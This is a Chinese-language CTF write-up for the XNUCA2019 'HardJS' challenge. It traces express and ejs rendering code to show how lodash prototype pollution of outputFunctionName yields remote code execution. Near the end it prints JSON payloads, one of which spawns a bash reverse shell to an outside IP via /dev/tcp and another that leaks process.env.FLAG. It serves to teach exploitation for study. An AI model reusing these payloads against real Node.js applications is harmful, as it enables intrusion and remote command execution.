[XNUCA2019Qualifier]HardJS

  • Post author:
  • Post category:其他




[XNUCA2019Qualifier]HardJS



知识点:

node.js原型链污染

node.js代码审计



解题:

分析 server.js:

使用的 express 这个框架,模板渲染引擎用的 ejs 。路由如下:


  • /

    首页

  • /static

    静态文件

  • /sandbox

    显示用户HTML数据用的沙盒

  • /login

    登陆

  • /register

    注册

  • /get

    json接口 获取数据库中保存的数据

  • /add

    用户添加数据的接口

发现调用了 lodash ,而且版本较低,估计存在原型链污染漏洞,发现调用 lodash.defaultDeep 函数,

在这里插入图片描述



/get

中我们可以发现,查询出来的结果,如果超过5条,那么会被合并成一条。具体的过程是,先通过sql查询出来当前用户所有的数据,然后一条条合并到一起,

审计

server.js

的时候可以看到,返回页面是通过

res.render(xxx)

渲染的,所以尝试从这里下手,跟进模板渲染寻找符合我们上述条件的利用点。

因为整个模板都是由 res.render 函数渲染的,所以跟进 response.js :

res.render = function render(view, options, callback) {
  var app = this.req.app;
  var done = callback;
  var opts = options || {};
  var req = this.req;
  var self = this;

  ....

  // render
  app.render(view, opts, done);
};

发现调用了 app.render,继续跟进到 application.js:

app.render = function render(name, options, callback) {
  var cache = this.cache;
  var done = callback;
  var engines = this.engines;
  var opts = options;
  var renderOptions = {};
  var view;
  ....
  // render
  tryRender(view, renderOptions, done);
};

又调用了 view.render 函数,继续跟进

function tryRender(view, options, callback) {
  try {
    view.render(options, callback);
  } catch (err) {
    callback(err);
  }
}

调用了

view.render

,继续跟进就来到了

view.js

View.prototype.render = function render(options, callback) {
  debug('render "%s"', this.path);
  this.engine(this.path, options, callback);
};

调用了 engine 引擎,也就是 ejs 引擎

exports.renderFile = function () {
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  var opts = {filename: filename};
  var data;
  var viewOpts;

  ...

  return tryHandleCache(opts, data, cb);
};

发现跳到

renderFile

函数,并且又调用了

tryHandleCache

function tryHandleCache(options, data, cb) {
  var result;
  ...
      result = handleCache(options)(data);
  ...
}

接着调用了 handleCache 函数,

function handleCache(options, template) {
  var func;
  var filename = options.filename;
  var hasTemplate = arguments.length > 1;
  ...
  func = exports.compile(template, options);
  if (options.cache) {
    exports.cache.set(filename, func);
  }
  return func;
}

观察 handleCache 的返回值是如何产生的,func 当不存在时由 compile 函数产生,继续跟进

exports.compile = function compile(template, opts) {
  var templ;
  ...
  templ = new Template(template, opts);
  return templ.compile();
};

compile 由 Template 这个类产生,跟进这个 Template 看 comoile 这个成员方法

compile: function () {
    var src;
    var fn;
    var opts = this.opts;
    var prepended = '';
    var appended = '';
    var escapeFn = opts.escapeFunction;
    var ctor;

    if (!this.source) {
      this.generateSource();
      prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
      appended += '  return __output.join("");' + '\n';
      this.source = prepended + this.source + appended;
    }

    ...
      src = this.source;
    ...
    try {
      if (opts.async) {
        // Have to use generated function for this, since in envs without support,
        // it breaks in parsing
        try {
          ctor = (new Function('return (async function(){}).constructor;'))();
        }
        catch(e) {
          if (e instanceof SyntaxError) {
            throw new Error('This environment does not support async/await');
          }
          else {
            throw e;
          }
        }
      }
      else {
        ctor = Function;
      }
      fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
    }

    ...

    // Return a callable function which will execute the function
    // created by the source-code, with the passed data as locals
    // Adds a local `include` function which allows full recursive include
    var returnedFn = function (data) {
      var include = function (path, includeData) {
        var d = utils.shallowCopy({}, data);
        if (includeData) {
          d = utils.shallowCopy(d, includeData);
        }
        return includeFile(path, opts)(d);
      };
      return fn.apply(opts.context, [data || {}, escapeFn, include, rethrow]);
    };
    returnedFn.dependencies = this.dependencies;
    return returnedFn;
  },

这段代码中

if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }

这里的 outputFunctionName 这个参数未定义,并且被拼接入一路回传给 prepended ,this.source,src,fn,然后以

returnedFn

返回并最后被执行。

而一路跟进的时候可以发现,并没有

outputFunctionName

的身影,所以只要给 Object 的

prototype

加上这个成员,我们就可以实现从原型链污染到RCE的攻击过程了!

最后的payload如下

{
    "content": {
        "constructor": {
            "prototype": {
            "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.110.124.239/2333 0>&1\"');var __tmp2"
            }
        }
    },
    "type": "test"
}

{"type":"notice","content":{"constructor":{"prototype":{"outputFunctionName":"a=1;return process.env.FLAG//"}}}}

发送5次请求,然后访问

/get

进行原型链污染,最后访问

/



/login

触发

render

函数,成功反弹shell并 getflag

在这里插入图片描述



总结:

因为才接触js原型链污染,所以可能下面总结会有一定错误,希望师傅们能指正,其实我们最后RCE的地方,有 eval 进行代码注入(污染注入代码达成RCE),有通过模板渲染调用属性(调用该属性其实就相当于执行了我们构造的恶意payload),其实我们就是要找到一个代码中可控且被调用的属性,而 merge 操作,其实只是为了去给这个变量赋值,我们需要寻找的其实是被调用且可控的属性,很多文章里面说的需要这个变量 undefine ,其实最终目的也是为了能赋值,因为如果是 undefine,他会存在一个属性遮蔽的情况。



参考:

https://xz.aliyun.com/t/6113



版权声明:本文为woshilnp原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。